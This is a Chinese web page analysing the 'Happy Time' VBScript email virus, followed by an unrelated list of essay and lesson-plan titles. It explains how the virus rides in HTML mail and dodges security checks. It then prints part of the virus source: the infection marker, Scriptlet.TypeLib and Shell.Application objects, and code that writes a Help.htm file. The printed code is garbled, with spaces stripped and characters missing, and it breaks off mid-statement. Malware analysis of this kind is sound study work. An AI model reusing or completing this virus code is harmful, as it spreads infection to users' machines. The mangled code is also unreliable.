翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 包汤圆
- 我爱校园里的小狗
- 板凳和雪花都笑了
- 雨
- 学写毛笔字
- 家乡的银杏姊妹园
- 月夜
- 美丽的红霞
- 今天我当家
- 看日出
- 帮爸爸“戒烟”
- 美丽的梨花
- 我成了小星星
- 幸福是母爱
- 《一封从南极寄来的信》写回信
- 乡镇上半年基层组织建设工作自查总结
- 秘书技能期末复习指导 第一部分基本要求
- 工商局上半年总结
- 女工工作总结(推荐)
- 收获的季节—**市五一黄金周工作总结
- 县新农村建设工作总结
- 县委2XX*年一季度工作总结
- 学习“八荣八耻”工作总结
- 镇上半年政法综治工作小结
- 关于上半年落实党风廉政建设责任制情况的汇报
- 小说《偷书贼》的读书心得书评
- 保先教育第三阶段整改总结
- 餐饮部年度工作总结范文
- ***小学**年教代会工作总结
- 《好妈妈胜过好老师》读书心得优秀书评
- 浅谈对侦查行为的司法审查制度(1)论文
- 欧盟并购司法审查制度论析(1)论文
- 谈《合同法》中的不安抗辩制度(1)论文
- 农民权益保障视野下的我国土地征收制度重构(1)论文
- 论析我国反补贴案件的司法审查制度(1)论文
- 论析司法谦抑及其在美国司法审查制度中的实践(1)论文
- 中国两大白酒企业集团品牌战略的比较与分析(1)
- 谈构建中枢机场的初期价格营销战略(1)
- 试析行政合理性司法审查刍议(1)论文
- 关于完善人民陪审员制度的理性思考(1)论文
- 关于创新我国对抽象行政行为的司法审查制度(1)论文
- 论我国物权法中设立居住权的必要性(1)论文
- 我国物业管理企业品牌创新策略分析(1)
- 浅谈对学校内部管理行为的司法审查(1)论文
- 论我国确立沉默权制度之可行性(1)论文
- 《七月的天山》教学建议
- 《七月的天山》A、B案
- 《钓鱼的启示》第二课时
- 《黄河是怎样变化的》A、B案
- 《万年牢》A、B案
- 《中彩那天》教学建议
- 《中彩那天》A、B案
- 《蝙蝠和雷达》A、B案
- 《中彩那天》教学案例
- 《爬山虎的脚》教学评析
- 《黄河是怎样变化的》教学建议
- 《小英雄雨来》教学建议
- 《小英雄雨来》教学设计
- 《万年牢》教学建议
- 《七月的天山》教学案例(片段)